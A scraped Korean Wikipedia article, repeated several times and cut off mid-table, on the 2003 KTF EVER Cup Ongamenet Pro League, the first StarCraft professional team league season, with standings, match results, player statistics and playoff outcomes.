검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishBahasa Indonesia日本語ភាសាខ្មែរລາວPolskiไทย中文文言 링크 편집 이 문서는 2019년 6월 20일 (목) 20:53에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KTF EVER컵 온게임넷 프로리그 - 위키백과, 우리 모두의 백과사전 KTF EVER컵 온게임넷 프로리그 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KTF 에버컵 온게임넷 프로리그KTF EVER Cup Ongamenet Pro League 대회 정보차수 제1회 대회기간 2003년 3월 1일 ~ 2003년 8월 30일주관방송사 온게임넷스폰서 KTF EVER참가팀 10팀 (본선 8팀) KTF 매직엔스 한빛 스타즈 동양 오리온 G.O AMD 드림팀 삼성전자 칸 KOR IS SouL (예선 탈락) P.O.S (예선 탈락)경기방식 8개팀 풀리그 후 상위 6팀 2라운드 진출2라운드 6개팀 풀리그 후 상위 1팀 결승진출2라운드 3-4위 5전 3선승 준플레이오프 후 승자 플레이오프 진출최종 플레이오프 결승전 7전 4선승제공식맵 신 개마고원(예선:개마고원)NostalgiaGuillotineNeo BifrostHuntress (팀플레이)Neo Jungle Story (팀플레이)Neo Lost Temple (예선 팀플레이)경기장소 서울 삼성동 코엑스 메가웹스테이션 결승전장소 서울 올림픽공원 평화의 광장해설 전용준 (캐스터) 김동수 (해설) 김도형 (해설)최종 순위우승 동양 오리온 (1번째 우승)준우승 한빛 스타즈3위 KTF 매직엔스4위 G.O개인수상 및 통계결승MVP 이창훈Z (동양 오리온)결승전 2승 1패개인전 1승 0패팀플레이 1승 1패최다승 최연성T (동양 오리온)8승 1패신인상 최연성T (동양 오리온)8승 1패승률1위 개인전: 최연성T (동양 오리온)88.9%, 8승 1패팀플레이: 강도경Z, 박정석P (한빛 스타즈)83.3%, 10승 2패감독상 주훈 (동양 오리온)이전 대회 / 다음 대회 네오위즈 피망컵 2003-04 → KTF EVER컵 온게임넷 프로리그(KTF EVER Cup Ongamenet Pro League)는 프로리그의 첫 번째 시즌이다. 목차 1 예선 2 정규리그 순위 3 라운드 별 순위 3.1 1라운드 3.2 2라운드 4 정규리그 선수 통계 4.1 전체 종합 4.2 개인전 순위 4.3 팀플전 순위 4.4 팀플 조합 순위 5 포스트시즌 6 대회 결과 7 각주 예선[편집] 이 부분의 본문은 KTF EVER컵 온게임넷 프로리그/예선입니다. 10팀은 2팀씩 5조로 나뉘어 5전 3선승제로 경기. (개인전 4경기, 팀플레이 1경기) 승리한 5팀은 예선 통과. 패한 팀 중 소속 선수 최상위 랭킹 3명의 랭킹이 높은 팀은 부전승으로 예선 통과. 나머지 4팀은 2조로 나뉘어 5전 3선승제로 경기를 치른 후 승리한 팀 2팀이 최종적으로 본선에 합류한다. 맵 1,2경기 개인전: 개마고원 3경기 팀플레이: Neo Lost Temple 4,5경기 개인전: Neo Bifrost 예선 결과 순위 팀 진출여부 1 KTF 매직엔스 A조 통과 1 IS B조 통과 1 동양 오리온 C조 통과 1 G.O D조 통과 1 AMD 드림팀 E조 통과 6 한빛 스타즈 패자 부전승 7 삼성전자 칸 패자A조 통과 7 KOR 패자B조 통과 9 P.O.S 예선 탈락 9 SouL 예선 탈락 정규리그 순위[편집] 순위기준: 다승 → 승점 → 승자승 순 순위 팀 경기수 승 패 승률 승점 1 한빛 스타즈 12 9 3 75% 25 2 동양 오리온 12 8 4 66.7% 23 3 KTF 매직엔스 12 8 4 66.7% 20 4 G.O 12 7 5 58.3% 18 5 IS 12 4 8 33.3% 16 6 AMD 드림팀 12 3 9 25% 11 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 라운드 별 순위[편집] 1라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 KTF 매직엔스 7 6 1 85.7% 14 2라운드 진출 2 동양 오리온 7 5 2 71.4% 13 2라운드 진출 3 GO 7 4 3 57.1% 11 2라운드 진출 4 한빛 스타즈 7 4 3 57.1% 11 2라운드 진출 5 AMD 드림팀 7 3 4 42.9% 10 2라운드 진출 6 IS 7 2 5 28.6% 9 2라운드 진출 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 1라운드 경기 세부 주차 일정 팀 스코어 팀 1 3월 1일 KTF 매직엔스 2 - 1 AMD 드림팀 GO 2 - 1 IS 2 3월 8일 한빛 스타즈 2 - 1 삼성전자 칸 동양 오리온 2 - 1 KOR 3 3월 15일 동양 오리온 1 - 2 KTF 매직엔스 AMD 드림팀 2 - 1 IS 4 3월 22일 한빛 스타즈 1 - 2 GO 삼성전자 칸 2 - 1 KOR 5 3월 29일 KOR 0 - 3 KTF 매직엔스 삼성전자 칸 3 - 0 GO 6 4월 5일 IS 1 - 2 한빛 스타즈 AMD 드림팀 1 - 2 동양 오리온 7 4월 12일 KTF 매직엔스 2 - 1 GO AMD 드림팀 2 - 1 KOR 8 4월 19일 IS 3 - 0 삼성전자 칸 동양 오리온 2 - 1 한빛 스타즈 9 4월 26일 삼성전자 칸 1 - 2 KTF 매직엔스 GO 1 - 2 KOR 10 5월 3일 한빛 스타즈 2 - 1 AMD 드림팀 동양 오리온 3 - 0 IS 11 5월 10일 AMD 드림팀 2 - 1 삼성전자 칸 KTF 매직엔스 1 - 2 한빛 스타즈 12 5월 17일 IS 2 - 1 KOR GO 2 - 1 AMD 드림팀 13 5월 24일 KTF 매직엔스 2 - 1 IS GO 3 - 0 동양 오리온 14 5월 31일 한빛 스타즈 1 - 2 KOR 삼성전자 칸 0 - 3 동양 오리온 2라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 한빛 스타즈 5 5 0 100% 14 결승 직행 2 동양 오리온 5 3 2 60% 10 플레이오프 진출 3 KTF 매직엔스 5 3 2 60% 7 준플레이오프 진출 4 G.O 5 2 3 40% 7 준플레이오프 진출 5 IS 5 2 3 40% 6 6 AMD 드림팀 5 0 5 0% 1 2라운드 경기 세부 주차 일정 팀 스코어 팀 15 6월 7일 KTF 매직엔스 1 - 2 GO 동양 오리온 3 - 0 AMD 드림팀 16 6월 14일 KTF 매직엔스 2 - 1 IS 한빛 스타즈 2 - 1 동양 오리온 17 6월 21일 IS 2 - 1 동양 오리온 한빛 스타즈 3 - 0 AMD 드림팀 18 6월 28일 KTF 매직엔스 0 - 3 한빛 스타즈 IS 1 - 2 GO 19 7월 5일 AMD 드림팀 0 - 3 GO 한빛 스타즈 3 - 0 IS 20 7월 11일 IS 3 - 0 AMD 드림팀 GO 0 - 3 동양 오리온 21 7월 19일 GO 0 - 3 한빛 스타즈 AMD 드림팀 1 - 2 KTF 매직엔스 22 7월 26일 동양 오리온 2 - 1 KTF 매직엔스 정규리그 선수 통계[편집] 정규리그 성적만 포함 전체 종합[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 18 15 3 83.3% 2 강도경(Z) 한빛 스타즈 13 11 2 84.6% 3 송병석(P) KTF 매직엔스 15 10 5 66.6% 4 이재훈(P) G.O 18 10 8 55.5% 5 홍진호(Z) KTF 매직엔스 16 9 7 56.2% 6 임요환(T) 동양 오리온 9 7 2 77.7% 7 최연성(T) 동양 오리온 9 7 2 77.7% 8 이창훈(Z) 동양 오리온 12 7 5 58.3% 9 강민(P) G.O 10 6 4 60% 10 2명의 선수 11 6 5 54.5% 개인전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 최연성(T) 동양 오리온 8 7 1 87.5% 2 성학승(Z) IS 11 6 5 54.5% 3 박정석(P) KTF 매직엔스 6 5 1 83.3% 4 임요환(T) 동양 오리온 7 5 2 71.4% 5 이재훈(P) G.O 8 5 3 62.5% 6 베르트랑(T) AMD 드림팀 10 5 5 50% 7 주진철(Z) KOR 5 4 1 80% 8 나도현(T) 한빛 스타즈 6 4 2 66.6% 9 서지훈(T) G.O 7 4 3 57.1% 10 이윤열(T) KTF 매직엔스 9 4 5 44.4% 팀플전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강도경(Z) 한빛 스타즈 12 10 2 83.3% 3 송병석(P) KTF 매직엔스 11 7 4 63.6% 4 홍진호(Z) KTF 매직엔스 10 6 4 60% 5 강민(P) GO 9 5 4 55.5% 6 김성제(P) 동양 오리온 9 5 4 55.5% 7 이재훈(P) G.O 10 5 5 50% 8 백영민(P) IS 10 5 5 50% 9 이창훈(Z) 동양 오리온 8 4 4 50% 10 조용성(Z) IS 3 3 0 100% 팀플 조합 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 강도경(Z), 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강민(P), 이재훈(P) GO 8 5 3 62.5% 3 송병석(P), 홍진호(Z) KTF 매직엔스 9 5 4 55.5% 4 김성제(P), 이창훈(Z) 동양 오리온 7 4 3 57.1% 5 백영민(P), 조용성(Z) IS 3 3 0 100% 6 장진남(Z), 조정현(T) AMD 드림팀 6 3 3 50% 7 김종성(T), 백영민(P) IS 4 2 2 50% 8 6조합 1 1 0 100% 9 3조합 2 1 1 50% 10 2조합 3 1 2 66.6% 포스트시즌[편집]   준플레이오프     플레이오프     결승전                                   2  동양 오리온 3     3  KTF 매직엔스 3      KTF 매직엔스 1       4  GO 0          동양 오리온 4        한빛 스타즈 1       1  한빛 스타즈                 일정 : 준플레이오프 - 2003년 8월 2일, 플레이오프 - 2003년 8월 9일, 결승전 - 2003년 8월 30일[1] KTF EVER컵 온게임넷 프로리그 준플레이오프 경기 목록 순 선수 맵 선수 1 성준모 승 신 개마고원 패 서지훈 2 송병석, 홍진호 승 Huntress 패 강민, 이재훈 3 홍진호 승 Guillotine 패 김근백 4 - - - - 5 - - - - KTF EVER컵 온게임넷 프로리그 플레이오프 경기 목록 순 선수 맵 선수 1 임요환 승 신 개마고원 패 홍진호 2 박용욱, 이창훈 패 Huntress 승 송병석, 홍진호 3 최연성 승 Guillotine 패 성준모 4 박용욱, 이창훈 승 Neo Jungle Story 패 김정민, 홍진호 5 김현진 - Nostalgia - 이윤열 KTF EVER컵 온게임넷 프로리그 결승전 경기 목록 순 선수 맵 선수 1 변길섭 패 Neo Bifrost 승 임요환 2 강도경, 박정석 승 Huntress 패 이창훈, 최연성 3 박정석 패 Guillotine 승 이창훈 4 강도경, 박정석 패 Neo Jungle Story 승 이창훈, 임요환 5 나도현 패 신 개마고원 승 박용욱 6 강도경, 박정석 - Huntress - 이창훈 김성제 7 박경락 - Nostalgia - 최연성 대회 결과[편집] 최종결과 우승 : 동양 오리온 , 준우승 : 한빛 스타즈 , 3위 : KTF 매직엔스 , 4위 : GO 각주[편집] ↑ 8월 23일에 경기예정 이었으나, 폭우로인해 변경되었다. KeSPA 프로리그 이전 작품 작품명 다음 작품 프로리그 시작 KTF EVER컵 온게임넷 프로리그(2003.03.01 ~ 2003.08.30) Neowiz Pmang컵 온게임넷 프로리그(2003.10.11 ~ 2004.02.29) vdeh 역대 스타크래프트 프로리그2003년~2005년 2003 KTF EVER(예선) 2003 Neowiz Pmang(예선) 2004 SKY 1라운드 2004 SKY 2라운드 2004 SKY 3라운드 2004 SKY 그랜드 파이널 2005년~2007년 SKY 2005 전기 SKY 2005 후기 SKY 2005 그랜드파이널 SKY 2006 전기 SKY 2006 후기 SKY 2006 통합챔피언전 2007년~2008년 2007 신한은행 전기 2007 신한은행 후기 신한은행 2007 통합챔피언전 2008 신한은행 2008년~2011년 08-09 신한은행 09-10 신한은행 10-11 신한은행 2011년~2013년 11-12 SK플래닛 2012 SK플래닛 12-13 SK플래닛 2013년~2016년 2014 SK텔레콤 2015 SK텔레콤 2016 SK텔레콤 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KTF_EVER컵_온게임넷_프로리그&oldid=19906059" 분류: 스타크래프트 프로리그2003년 이스포츠 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 11월 2일 (목) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KTF EVER컵 온게임넷 프로리그 - 위키백과, 우리 모두의 백과사전 KTF EVER컵 온게임넷 프로리그 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KTF 에버컵 온게임넷 프로리그KTF EVER Cup Ongamenet Pro League 대회 정보차수 제1회 대회기간 2003년 3월 1일 ~ 2003년 8월 30일주관방송사 온게임넷스폰서 KTF EVER참가팀 10팀 (본선 8팀) KTF 매직엔스 한빛 스타즈 동양 오리온 G.O AMD 드림팀 삼성전자 칸 KOR IS SouL (예선 탈락) P.O.S (예선 탈락)경기방식 8개팀 풀리그 후 상위 6팀 2라운드 진출2라운드 6개팀 풀리그 후 상위 1팀 결승진출2라운드 3-4위 5전 3선승 준플레이오프 후 승자 플레이오프 진출최종 플레이오프 결승전 7전 4선승제공식맵 신 개마고원(예선:개마고원)NostalgiaGuillotineNeo BifrostHuntress (팀플레이)Neo Jungle Story (팀플레이)Neo Lost Temple (예선 팀플레이)경기장소 서울 삼성동 코엑스 메가웹스테이션 결승전장소 서울 올림픽공원 평화의 광장해설 전용준 (캐스터) 김동수 (해설) 김도형 (해설)최종 순위우승 동양 오리온 (1번째 우승)준우승 한빛 스타즈3위 KTF 매직엔스4위 G.O개인수상 및 통계결승MVP 이창훈Z (동양 오리온)결승전 2승 1패개인전 1승 0패팀플레이 1승 1패최다승 최연성T (동양 오리온)8승 1패신인상 최연성T (동양 오리온)8승 1패승률1위 개인전: 최연성T (동양 오리온)88.9%, 8승 1패팀플레이: 강도경Z, 박정석P (한빛 스타즈)83.3%, 10승 2패감독상 주훈 (동양 오리온)이전 대회 / 다음 대회 네오위즈 피망컵 2003-04 → KTF EVER컵 온게임넷 프로리그(KTF EVER Cup Ongamenet Pro League)는 프로리그의 첫 번째 시즌이다. 목차 1 예선 2 정규리그 순위 3 라운드 별 순위 3.1 1라운드 3.2 2라운드 4 정규리그 선수 통계 4.1 전체 종합 4.2 개인전 순위 4.3 팀플전 순위 4.4 팀플 조합 순위 5 포스트시즌 6 대회 결과 7 각주 예선[편집] 이 부분의 본문은 KTF EVER컵 온게임넷 프로리그/예선입니다. 10팀은 2팀씩 5조로 나뉘어 5전 3선승제로 경기. (개인전 4경기, 팀플레이 1경기) 승리한 5팀은 예선 통과. 패한 팀 중 소속 선수 최상위 랭킹 3명의 랭킹이 높은 팀은 부전승으로 예선 통과. 나머지 4팀은 2조로 나뉘어 5전 3선승제로 경기를 치른 후 승리한 팀 2팀이 최종적으로 본선에 합류한다. 맵 1,2경기 개인전: 개마고원 3경기 팀플레이: Neo Lost Temple 4,5경기 개인전: Neo Bifrost 예선 결과 순위 팀 진출여부 1 KTF 매직엔스 A조 통과 1 IS B조 통과 1 동양 오리온 C조 통과 1 G.O D조 통과 1 AMD 드림팀 E조 통과 6 한빛 스타즈 패자 부전승 7 삼성전자 칸 패자A조 통과 7 KOR 패자B조 통과 9 P.O.S 예선 탈락 9 SouL 예선 탈락 정규리그 순위[편집] 순위기준: 다승 → 승점 → 승자승 순 순위 팀 경기수 승 패 승률 승점 1 한빛 스타즈 12 9 3 75% 25 2 동양 오리온 12 8 4 66.7% 23 3 KTF 매직엔스 12 8 4 66.7% 20 4 G.O 12 7 5 58.3% 18 5 IS 12 4 8 33.3% 16 6 AMD 드림팀 12 3 9 25% 11 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 라운드 별 순위[편집] 1라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 KTF 매직엔스 7 6 1 85.7% 14 2라운드 진출 2 동양 오리온 7 5 2 71.4% 13 2라운드 진출 3 GO 7 4 3 57.1% 11 2라운드 진출 4 한빛 스타즈 7 4 3 57.1% 11 2라운드 진출 5 AMD 드림팀 7 3 4 42.9% 10 2라운드 진출 6 IS 7 2 5 28.6% 9 2라운드 진출 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 1라운드 경기 세부 주차 일정 팀 스코어 팀 1 3월 1일 KTF 매직엔스 2 - 1 AMD 드림팀 GO 2 - 1 IS 2 3월 8일 한빛 스타즈 2 - 1 삼성전자 칸 동양 오리온 2 - 1 KOR 3 3월 15일 동양 오리온 1 - 2 KTF 매직엔스 AMD 드림팀 2 - 1 IS 4 3월 22일 한빛 스타즈 1 - 2 GO 삼성전자 칸 2 - 1 KOR 5 3월 29일 KOR 0 - 3 KTF 매직엔스 삼성전자 칸 3 - 0 GO 6 4월 5일 IS 1 - 2 한빛 스타즈 AMD 드림팀 1 - 2 동양 오리온 7 4월 12일 KTF 매직엔스 2 - 1 GO AMD 드림팀 2 - 1 KOR 8 4월 19일 IS 3 - 0 삼성전자 칸 동양 오리온 2 - 1 한빛 스타즈 9 4월 26일 삼성전자 칸 1 - 2 KTF 매직엔스 GO 1 - 2 KOR 10 5월 3일 한빛 스타즈 2 - 1 AMD 드림팀 동양 오리온 3 - 0 IS 11 5월 10일 AMD 드림팀 2 - 1 삼성전자 칸 KTF 매직엔스 1 - 2 한빛 스타즈 12 5월 17일 IS 2 - 1 KOR GO 2 - 1 AMD 드림팀 13 5월 24일 KTF 매직엔스 2 - 1 IS GO 3 - 0 동양 오리온 14 5월 31일 한빛 스타즈 1 - 2 KOR 삼성전자 칸 0 - 3 동양 오리온 2라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 한빛 스타즈 5 5 0 100% 14 결승 직행 2 동양 오리온 5 3 2 60% 10 플레이오프 진출 3 KTF 매직엔스 5 3 2 60% 7 준플레이오프 진출 4 G.O 5 2 3 40% 7 준플레이오프 진출 5 IS 5 2 3 40% 6 6 AMD 드림팀 5 0 5 0% 1 2라운드 경기 세부 주차 일정 팀 스코어 팀 15 6월 7일 KTF 매직엔스 1 - 2 GO 동양 오리온 3 - 0 AMD 드림팀 16 6월 14일 KTF 매직엔스 2 - 1 IS 한빛 스타즈 2 - 1 동양 오리온 17 6월 21일 IS 2 - 1 동양 오리온 한빛 스타즈 3 - 0 AMD 드림팀 18 6월 28일 KTF 매직엔스 0 - 3 한빛 스타즈 IS 1 - 2 GO 19 7월 5일 AMD 드림팀 0 - 3 GO 한빛 스타즈 3 - 0 IS 20 7월 11일 IS 3 - 0 AMD 드림팀 GO 0 - 3 동양 오리온 21 7월 19일 GO 0 - 3 한빛 스타즈 AMD 드림팀 1 - 2 KTF 매직엔스 22 7월 26일 동양 오리온 2 - 1 KTF 매직엔스 정규리그 선수 통계[편집] 정규리그 성적만 포함 전체 종합[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 18 15 3 83.3% 2 강도경(Z) 한빛 스타즈 13 11 2 84.6% 3 송병석(P) KTF 매직엔스 15 10 5 66.6% 4 이재훈(P) G.O 18 10 8 55.5% 5 홍진호(Z) KTF 매직엔스 16 9 7 56.2% 6 임요환(T) 동양 오리온 9 7 2 77.7% 7 최연성(T) 동양 오리온 9 7 2 77.7% 8 이창훈(Z) 동양 오리온 12 7 5 58.3% 9 강민(P) G.O 10 6 4 60% 10 2명의 선수 11 6 5 54.5% 개인전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 최연성(T) 동양 오리온 8 7 1 87.5% 2 성학승(Z) IS 11 6 5 54.5% 3 박정석(P) KTF 매직엔스 6 5 1 83.3% 4 임요환(T) 동양 오리온 7 5 2 71.4% 5 이재훈(P) G.O 8 5 3 62.5% 6 베르트랑(T) AMD 드림팀 10 5 5 50% 7 주진철(Z) KOR 5 4 1 80% 8 나도현(T) 한빛 스타즈 6 4 2 66.6% 9 서지훈(T) G.O 7 4 3 57.1% 10 이윤열(T) KTF 매직엔스 9 4 5 44.4% 팀플전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강도경(Z) 한빛 스타즈 12 10 2 83.3% 3 송병석(P) KTF 매직엔스 11 7 4 63.6% 4 홍진호(Z) KTF 매직엔스 10 6 4 60% 5 강민(P) GO 9 5 4 55.5% 6 김성제(P) 동양 오리온 9 5 4 55.5% 7 이재훈(P) G.O 10 5 5 50% 8 백영민(P) IS 10 5 5 50% 9 이창훈(Z) 동양 오리온 8 4 4 50% 10 조용성(Z) IS 3 3 0 100% 팀플 조합 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 강도경(Z), 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강민(P), 이재훈(P) GO 8 5 3 62.5% 3 송병석(P), 홍진호(Z) KTF 매직엔스 9 5 4 55.5% 4 김성제(P), 이창훈(Z) 동양 오리온 7 4 3 57.1% 5 백영민(P), 조용성(Z) IS 3 3 0 100% 6 장진남(Z), 조정현(T) AMD 드림팀 6 3 3 50% 7 김종성(T), 백영민(P) IS 4 2 2 50% 8 6조합 1 1 0 100% 9 3조합 2 1 1 50% 10 2조합 3 1 2 66.6% 포스트시즌[편집]   준플레이오프     플레이오프     결승전                                   2  동양 오리온 3     3  KTF 매직엔스 3      KTF 매직엔스 1       4  GO 0          동양 오리온 4        한빛 스타즈 1       1  한빛 스타즈                 일정 : 준플레이오프 - 2003년 8월 2일, 플레이오프 - 2003년 8월 9일, 결승전 - 2003년 8월 30일[1] KTF EVER컵 온게임넷 프로리그 준플레이오프 경기 목록 순 선수 맵 선수 1 성준모 승 신 개마고원 패 서지훈 2 송병석, 홍진호 승 Huntress 패 강민, 이재훈 3 홍진호 승 Guillotine 패 김근백 4 - - - - 5 - - - - KTF EVER컵 온게임넷 프로리그 플레이오프 경기 목록 순 선수 맵 선수 1 임요환 승 신 개마고원 패 홍진호 2 박용욱, 이창훈 패 Huntress 승 송병석, 홍진호 3 최연성 승 Guillotine 패 성준모 4 박용욱, 이창훈 승 Neo Jungle Story 패 김정민, 홍진호 5 김현진 - Nostalgia - 이윤열 KTF EVER컵 온게임넷 프로리그 결승전 경기 목록 순 선수 맵 선수 1 변길섭 패 Neo Bifrost 승 임요환 2 강도경, 박정석 승 Huntress 패 이창훈, 최연성 3 박정석 패 Guillotine 승 이창훈 4 강도경, 박정석 패 Neo Jungle Story 승 이창훈, 임요환 5 나도현 패 신 개마고원 승 박용욱 6 강도경, 박정석 - Huntress - 이창훈 김성제 7 박경락 - Nostalgia - 최연성 대회 결과[편집] 최종결과 우승 : 동양 오리온 , 준우승 : 한빛 스타즈 , 3위 : KTF 매직엔스 , 4위 : GO 각주[편집] ↑ 8월 23일에 경기예정 이었으나, 폭우로인해 변경되었다. KeSPA 프로리그 이전 작품 작품명 다음 작품 프로리그 시작 KTF EVER컵 온게임넷 프로리그(2003.03.01 ~ 2003.08.30) Neowiz Pmang컵 온게임넷 프로리그(2003.10.11 ~ 2004.02.29) vdeh 역대 스타크래프트 프로리그2003년~2005년 2003 KTF EVER(예선) 2003 Neowiz Pmang(예선) 2004 SKY 1라운드 2004 SKY 2라운드 2004 SKY 3라운드 2004 SKY 그랜드 파이널 2005년~2007년 SKY 2005 전기 SKY 2005 후기 SKY 2005 그랜드파이널 SKY 2006 전기 SKY 2006 후기 SKY 2006 통합챔피언전 2007년~2008년 2007 신한은행 전기 2007 신한은행 후기 신한은행 2007 통합챔피언전 2008 신한은행 2008년~2011년 08-09 신한은행 09-10 신한은행 10-11 신한은행 2011년~2013년 11-12 SK플래닛 2012 SK플래닛 12-13 SK플래닛 2013년~2016년 2014 SK텔레콤 2015 SK텔레콤 2016 SK텔레콤 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KTF_EVER컵_온게임넷_프로리그&oldid=19906059" 분류: 스타크래프트 프로리그2003년 이스포츠 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 11월 2일 (목) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KTF EVER컵 온게임넷 프로리그 - 위키백과, 우리 모두의 백과사전 KTF EVER컵 온게임넷 프로리그 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KTF 에버컵 온게임넷 프로리그KTF EVER Cup Ongamenet Pro League 대회 정보차수 제1회 대회기간 2003년 3월 1일 ~ 2003년 8월 30일주관방송사 온게임넷스폰서 KTF EVER참가팀 10팀 (본선 8팀) KTF 매직엔스 한빛 스타즈 동양 오리온 G.O AMD 드림팀 삼성전자 칸 KOR IS SouL (예선 탈락) P.O.S (예선 탈락)경기방식 8개팀 풀리그 후 상위 6팀 2라운드 진출2라운드 6개팀 풀리그 후 상위 1팀 결승진출2라운드 3-4위 5전 3선승 준플레이오프 후 승자 플레이오프 진출최종 플레이오프 결승전 7전 4선승제공식맵 신 개마고원(예선:개마고원)NostalgiaGuillotineNeo BifrostHuntress (팀플레이)Neo Jungle Story (팀플레이)Neo Lost Temple (예선 팀플레이)경기장소 서울 삼성동 코엑스 메가웹스테이션 결승전장소 서울 올림픽공원 평화의 광장해설 전용준 (캐스터) 김동수 (해설) 김도형 (해설)최종 순위우승 동양 오리온 (1번째 우승)준우승 한빛 스타즈3위 KTF 매직엔스4위 G.O개인수상 및 통계결승MVP 이창훈Z (동양 오리온)결승전 2승 1패개인전 1승 0패팀플레이 1승 1패최다승 최연성T (동양 오리온)8승 1패신인상 최연성T (동양 오리온)8승 1패승률1위 개인전: 최연성T (동양 오리온)88.9%, 8승 1패팀플레이: 강도경Z, 박정석P (한빛 스타즈)83.3%, 10승 2패감독상 주훈 (동양 오리온)이전 대회 / 다음 대회 네오위즈 피망컵 2003-04 → KTF EVER컵 온게임넷 프로리그(KTF EVER Cup Ongamenet Pro League)는 프로리그의 첫 번째 시즌이다. 목차 1 예선 2 정규리그 순위 3 라운드 별 순위 3.1 1라운드 3.2 2라운드 4 정규리그 선수 통계 4.1 전체 종합 4.2 개인전 순위 4.3 팀플전 순위 4.4 팀플 조합 순위 5 포스트시즌 6 대회 결과 7 각주 예선[편집] 이 부분의 본문은 KTF EVER컵 온게임넷 프로리그/예선입니다. 10팀은 2팀씩 5조로 나뉘어 5전 3선승제로 경기. (개인전 4경기, 팀플레이 1경기) 승리한 5팀은 예선 통과. 패한 팀 중 소속 선수 최상위 랭킹 3명의 랭킹이 높은 팀은 부전승으로 예선 통과. 나머지 4팀은 2조로 나뉘어 5전 3선승제로 경기를 치른 후 승리한 팀 2팀이 최종적으로 본선에 합류한다. 맵 1,2경기 개인전: 개마고원 3경기 팀플레이: Neo Lost Temple 4,5경기 개인전: Neo Bifrost 예선 결과 순위 팀 진출여부 1 KTF 매직엔스 A조 통과 1 IS B조 통과 1 동양 오리온 C조 통과 1 G.O D조 통과 1 AMD 드림팀 E조 통과 6 한빛 스타즈 패자 부전승 7 삼성전자 칸 패자A조 통과 7 KOR 패자B조 통과 9 P.O.S 예선 탈락 9 SouL 예선 탈락 정규리그 순위[편집] 순위기준: 다승 → 승점 → 승자승 순 순위 팀 경기수 승 패 승률 승점 1 한빛 스타즈 12 9 3 75% 25 2 동양 오리온 12 8 4 66.7% 23 3 KTF 매직엔스 12 8 4 66.7% 20 4 G.O 12 7 5 58.3% 18 5 IS 12 4 8 33.3% 16 6 AMD 드림팀 12 3 9 25% 11 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 라운드 별 순위[편집] 1라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 KTF 매직엔스 7 6 1 85.7% 14 2라운드 진출 2 동양 오리온 7 5 2 71.4% 13 2라운드 진출 3 GO 7 4 3 57.1% 11 2라운드 진출 4 한빛 스타즈 7 4 3 57.1% 11 2라운드 진출 5 AMD 드림팀 7 3 4 42.9% 10 2라운드 진출 6 IS 7 2 5 